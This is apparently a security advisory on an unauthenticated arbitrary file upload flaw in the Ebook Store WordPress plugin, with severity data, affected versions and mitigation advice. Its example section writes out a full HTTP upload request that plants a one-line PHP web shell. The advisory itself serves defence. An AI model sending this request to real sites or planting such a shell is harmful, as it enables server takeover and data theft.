Overview
A high-severity vulnerability, CVE-2025-7437, has been identified in the Ebook Store plugin for WordPress. This flaw allows unauthenticated attackers to upload arbitrary files due to missing file type validation, leading to potential system compromise or data leakage. This vulnerability has a wide impact as it affects all versions up to 5.8012 of the plugin, which is widely used by publishers and online stores on the WordPress platform. This vulnerability is particularly concerning due to its potential to enable remote code execution if exploited successfully.
Vulnerability Summary
CVE ID: CVE-2025-7437
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Ebook Store Plugin for WordPress | Up to and including 5.8012
How the Exploit Works
The vulnerability lies in the ebook_store_save_form function which lacks proper validation of file types. This allows an attacker to upload any file to the server, including executable files or scripts, without requiring any form of authentication. Once uploaded, these files can be triggered to execute arbitrary code, potentially gaining control over the server and enabling the attacker to access, modify, or delete data, or even create new accounts with full user rights.
Conceptual Example Code
Below is a simplified, conceptual example of how an HTTP request exploiting the vulnerability might look. This example assumes the attacker is uploading a malicious PHP file that can enable remote code execution:
POST /wp-content/plugins/ebook-store/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--This request uploads a PHP file named ‘exploit.php’ which, when accessed, would run any command passed via the ‘cmd’ URL parameter.
Mitigation
The most effective mitigation is to apply the vendor-supplied patch. If that is not immediately possible, implementing protections via a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks.